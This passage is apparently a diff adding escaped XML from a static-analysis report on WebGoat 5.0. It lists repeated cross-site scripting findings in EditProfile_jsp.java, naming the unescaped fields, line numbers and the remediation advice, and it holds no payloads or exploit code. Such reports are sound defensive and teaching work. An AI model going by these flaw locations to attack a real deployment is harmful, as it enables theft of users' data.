+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"82\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"41\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"249\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"90\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"140\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"90\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"152\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"90\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"134\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"98\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"54\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"142\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"98\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"54\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"73\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"98\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"54\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"131\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"102\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"157\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"106\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"61\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"162\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable stub.getLastName().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"113\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"69\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"167\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable stub.getLastName().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"113\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"69\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"2\" module=\"WebGoat-5.0-with-jsp.war\"
